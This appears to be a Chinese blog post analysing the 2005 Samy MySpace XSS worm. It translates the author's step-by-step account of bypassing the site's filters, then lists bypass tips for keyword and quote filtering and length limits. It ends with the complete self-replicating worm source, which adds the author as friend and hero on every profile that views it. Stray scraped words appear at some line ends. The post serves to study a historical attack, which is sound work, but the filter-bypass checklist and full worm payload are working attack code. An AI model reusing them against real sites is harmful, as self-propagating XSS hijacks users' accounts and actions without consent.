說到Web安全和XSS跨站腳本技術,幾乎全部的書都會提到Samy Worm,這是在2005年感染了mySpace社交網絡上百萬用戶的蠕蟲。正如Morris蠕蟲是互聯網第一個蠕蟲, Samy Worm則是第一個XSS的蠕蟲。所以研究XSS技術最好了解一下這個只要瀏覽了profile就自動把對方加爲好友並列爲偶像的代碼的實現技術。javascript
如下是根據對Samy Worm分析的文章進行的大體翻譯:html
1) Myspace阻塞了大量的tags,實際上他們僅容許<a>,<img>,<div>這些,或者還有少數其餘標籤如<embed>。<script>,<body>,onSomething,href等Javascript元素全都被禁用了。然而,有些瀏覽器如IE容許在CSS標籤中插入javascript:
<div style= "background:url('javascript:alert(1)')">
2) 在div中不能使用引號,由於標籤裏面默認就有單引號和雙引號了(<div id="variable">)。這使得編碼JS有點困難,爲了作到這一點,能夠用一個表達式存儲JS代碼,而後經過變量引用使其執行
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
3) 以上兩步後,如今能夠在單引號裏面放入javascript代碼了,可是mySpace對javascript單詞進行了嚴格的過濾,根本沒法使用. 幸運的是,有些瀏覽器會將"java\nscript"解釋爲"javascript"(實際上javascript的語法說若是沒有分號,解析引擎會判 斷是否有完整的語境,所以空格,TAB應該也能夠)
<div id="mycode" expr="alert(hah!)" style="background:url('java
script:eval(document.all.mycode.expr)')">
4)如今單引號已經可使用了,可是咱們有時候可能會須要雙引號.咱們須要對引號進行轉義,然而,mySpace去掉了全部的轉義的引號,不管是單引號仍是雙引號.但咱們仍是有辦法,咱們能夠將整數轉爲ASCII,這樣就能生成引號了
<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java
script:eval(document.all.mycode.expr)')">
5) 爲了將代碼發到用正在看它的戶空間中,還須要得到頁面的source. 可使用document.body.innerHTML得到頁面到的source,可是mySpace此次又把"innerHTML"去掉了,只能經過把兩個字符串拼接成一個字符串
alert(eval('document.body.inne' + 'rHTML'))
6) 是時候訪問其餘頁面了,可使用iframes,可是一般iframes並非頗有用,並且用戶容易發現有其餘的東西在執行
所以使用Ajax製造客戶端的HTTP GETS和POSTS. 老樣子,mySpace去掉了"onreadystatechange", 而這個單詞對於XML-HTTP請求來講是必要的,仍是使用上面的方法
eval('xmlhttp.onread' + 'ystatechange = callback');
7) 如今能夠經過GET請求得到他們當前的偶像列表,這裏咱們不須要移除任何人,只需把本身添加到已經存在的偶像列表中. 若是能夠得到其餘人的profile,就能夠抓取他們的偶像並存儲以備後用. 上面的都搞定以後,接下來的就簡單了,除了咱們還必須得到正則瀏覽profile的用戶的friend ID,就像上面已經說到的,能夠經過抓取頁面的source得到這個.所以如今要搜索整個頁面查找某個單詞.可是搜索時還有一個問題,有可能會由於搜到包 含這個詞的普通代碼而結束查詢,這個結果不是咱們想看到的. 所以,仍是要經過字符串的合併來解決這個問題
var index = html.indexOf('frien' + 'dID');
8) 到如今爲止,咱們已經得到了偶像列表. 首先,在addFriends頁面經過XML-HTTP POST先把本身添加爲好友. 可是不行,爲何呢?由於咱們目前所處的是profile.myspace.com,而發送POST須要在www.myspace.com. 雖然XML-HTTP不容許GETs/POSTs給不一樣的域名,但這並非問題. 咱們能夠訪問www.myspace.com上的相同URL,在上面瀏覽profiles,重載這個域名上咱們想發送POST的頁面
if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;
9) 如今咱們已經成功的發送了POST,問題是儘管咱們成功作到了這一點可是卻沒有添加friends.爲何?myspace在pre-POST頁面生成 了一個隨機的hash(例如:"你肯定要加這個用戶爲好友嗎"的頁面). 若是這個hash沒有和POST一塊兒經過,POST就不成功. 爲了繞過去,咱們僞造了一個瀏覽器並在添加用戶以前發送了一個GET請求,解析hash的來源,而後發送POST
10)一旦POST完成了,咱們想添加一個hero和用於傳播的代碼.該代碼可能會運行到相同的頁面,因此咱們只要POST一次就夠了.然而爲了得到一個 新的hash,咱們須要pre-GET一個頁面. 可是首先咱們得再次生成想要POST的代碼.最簡單的方法是抓取咱們所在profile頁面的源代碼,解析出代碼而後POST. 這確實管用,除了如今全部東西的排序混亂不堪. 呃,爲了恰如其分的POST咱們須要URL-encode/escape實際的代碼. 奇怪的是,仍然不起做用.顯然javascript的URL-encoding和escape()函數並無轉義全部咱們須要的東西,所以須要手動地作一 些替換以進行必要的轉義. 加上"but most of all, samy is my hero."進行混合,在後面加上全部的代碼。如今咱們就有了self-reproducing的代碼了,一個蠕蟲11)還有其餘限制,如最大長度等問題,要求使用緊密的代碼,沒有空格,使人困惑的名字和可重用的函數等java
上述即是在mySpace修補了漏洞以後給出來的分析,視角是第一人稱,原文地址:http://namb.la/popular/tech.html程序員
事 實上namb.la就是Samy的博客,爲了讓更多的人把本身加爲好友,Samy顯然作了很多工做,能夠看出來第一:mySpace的過濾作得是很嚴謹 的,可是天下沒有不透風的牆,只要是人寫出來的代碼就沒有絕對的安全;第二,Samy的這個蠕蟲實際上是惡做劇性質的,它會給網絡帶來很大的負擔,但幸運的 是他並無用它來竊取用戶信息,不然帶來的危害遠大於此express
總結一下,爲了防止XSS攻擊,如今的網站都作了防護措施,會對javascript,<script>,alert,"",'',onClick, onLoad等進行嚴格的過濾。所以,像書上介紹說onClick =瀏覽器
function{alert('XSS')} 等這種用來發掘XSS漏洞的方法可能不太適用了。可是javascript很是靈活,再完備的XSS filter因爲程序員的經歷有限或者性能功能上的限制不必定能徹底防止XSS,所以出現了CSP,Http-Only等應對跨站腳本的措施。安全
在Samy的例子中,Samy利用了CSS中能夠插入javascript這一條件,加上javascript對於字符串的靈活拼接等,成功的繞過了很多限制網絡
1.嘗試在tags中使用javascript代碼,如div,style等,也能夠在利用標籤中的expression進行利用,這裏說的expression並非上面的expr,而是在標籤中相似於函數的東西app
2.單引號、雙引號被過濾或沒法使用能夠經過變量賦值,整數轉ASCII,html編碼等手段繞過函數
3.script等單詞被過濾能夠試下大小寫如:JaVaScript,或者空格、換行符如:java SCript,還能夠進行字符串拼接:'jav'+'as'+'cript'固然還有像上面說到的編碼等方法繞過
4.alert平時較多的用來驗證XSS的存在,實際上可能常常要用到另外一個函數:eval(),執行裏面的語句
5.URL-encode/escape、XMLHTTPRequest等也要歸入考慮範圍,儘管javascript及DOM對http header不可控,可是對於可控制的代碼如GET請求的參數、POST的數據咱們能夠充分利用
6.碰到代碼長度限制可讓代碼緊縮,去除空格,構造可重用函數,也可使用代碼壓縮技術壓縮代碼,若是是對某一條語句進行了嚴格的長度限制如長度不超過28,就須要不斷對代碼進行精簡了,可能要用到其餘的一些技術,能夠看一下luoluo的 突破XSS字符數量限制執行任意JS代碼
7.跨站技術豐富多彩,這裏只根據上面的分析作了下小小的小結,更多的方法還須要本身去探索和掌握
下面是整理排版後的Samy Worm的代碼,取自:http://www.gnucitizen.org/blog/wormx/
另外若是感興趣的話也能夠研究一下:百度XSS Worm,Yamanner Worm,前者是幾年前百度空間感染的蠕蟲,後者是針對yahoo的
<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); var A=String.fromCharCode(39); function g() { var C; try { var D=document.body.createTextRange(); C=D.htmlText } catch(e){} if(C) { return C } else { return eval('document.body.inne'+'rHTML') } } function getData(AU) { M=getFromURL(AU,'friendID'); L=getFromURL(AU,'Mytoken') } function getQueryParams() { var E=document.location.search; var F=E.substring(1,E.length).split('&'); var AS=new Array(); for(var O=0;O<F.length;O++) { var I=F[O].split('='); AS[I[0]]=I[1] } return AS } var J; var AS=getQueryParams(); var L=AS['Mytoken']; var M=AS['friendID']; if(location.hostname=='profile.myspace.com') { document.location='http://www.myspace.com'+location.pathname+location.search } else { if(!M) { getData(g()) } main() } function getClientFID() { return findIn(g(),'up_launchIC( '+A,A) } function nothing() {} function paramsToString(AV) { var N=new String(); var O=0; for(var P in AV) { if(O>0) { N+='&' } var Q=escape(AV[P]); while(Q.indexOf('+')!=-1) { Q=Q.replace('+','%2B') } while(Q.indexOf('&')!=-1) { Q=Q.replace('&','%26') } N+=P+'='+Q; O++ } return N } function httpSend(BH,BI,BJ,BK) { if(!J) {return false} eval('J.onr'+'eadystatechange=BI'); J.open(BJ,BH,true); if(BJ=='POST') { J.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); J.setRequestHeader('Content-Length',BK.length) } J.send(BK); return true } function findIn(BF,BB,BC) { var R=BF.indexOf(BB)+BB.length; var S=BF.substring(R,R+1024); return S.substring(0,S.indexOf(BC)) } function getHiddenParameter(BF,BG) { return findIn(BF,'name='+B+BG+B+' value='+B,B) } function getFromURL(BF,BG) { var T; if(BG=='Mytoken') {T=B} else {T='&'} var U=BG+'='; var V=BF.indexOf(U)+U.length; var W=BF.substring(V,V+1024); var X=W.indexOf(T); var Y=W.substring(0,X); return Y } function getXMLObj() { var Z=false; if(window.XMLHttpRequest) { try { Z=new XMLHttpRequest() } catch(e) {Z=false} } else if(window.ActiveXObject) { try{ Z=new ActiveXObject('Msxml2.XMLHTTP') } catch(e) { try { Z=new ActiveXObject('Microsoft.XMLHTTP') } catch(e) { Z=false } } } return Z } var AA=g(); var AB=AA.indexOf('m'+'ycode'); var AC=AA.substring(AB,AB+4096); var AD=AC.indexOf('D'+'IV'); var AE=AC.substring(0,AD); var AF; if(AE) { AE=AE.replace('jav'+'a',A+'jav'+'a'); AE=AE.replace('exp'+'r)','exp'+'r)'+A); AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>' } var AG; function getHome() { if(J.readyState!=4) {return} var AU=J.responseText; AG=findIn(AU,'P'+'rofileHeroes','</td>'); AG=AG.substring(61,AG.length); if(AG.indexOf('samy')==-1) { if(AF) { AG+=AF; var AR=getFromURL(AU,'Mytoken'); var AS=new Array(); AS['interestLabel']='heroes'; AS['submit']='Preview'; AS['interest']=AG; J=getXMLObj(); httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS)) } } } function postHero() { if(J.readyState!=4) {return} var AU=J.responseText; var AR=getFromURL(AU,'Mytoken'); var AS=new Array();AS['interestLabel']='heroes'; AS['submit']='Submit'; AS['interest']=AG; AS['hash']=getHiddenParameter(AU,'hash'); httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS)) } function main() { var AN=getClientFID(); var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L; J=getXMLObj(); httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj(); httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET') } function processxForm() { if(xmlhttp2.readyState!=4) {return} var AU=xmlhttp2.responseText; var AQ=getHiddenParameter(AU,'hashcode'); var AR=getFromURL(AU,'Mytoken'); var AS=new Array(); AS['hashcode']=AQ; AS['friendID']='11851658'; AS['submit']='Add to Friends'; httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS)) } function httpSend2(BH,BI,BJ,BK) { if(!xmlhttp2) { return false}eval('xmlhttp2.onr'+'eadystatechange=BI'); xmlhttp2.open(BJ,BH,true); if(BJ=='POST') { xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); xmlhttp2.setRequestHeader('Content-Length',BK.length) } xmlhttp2.send(BK); return true } "></DIV>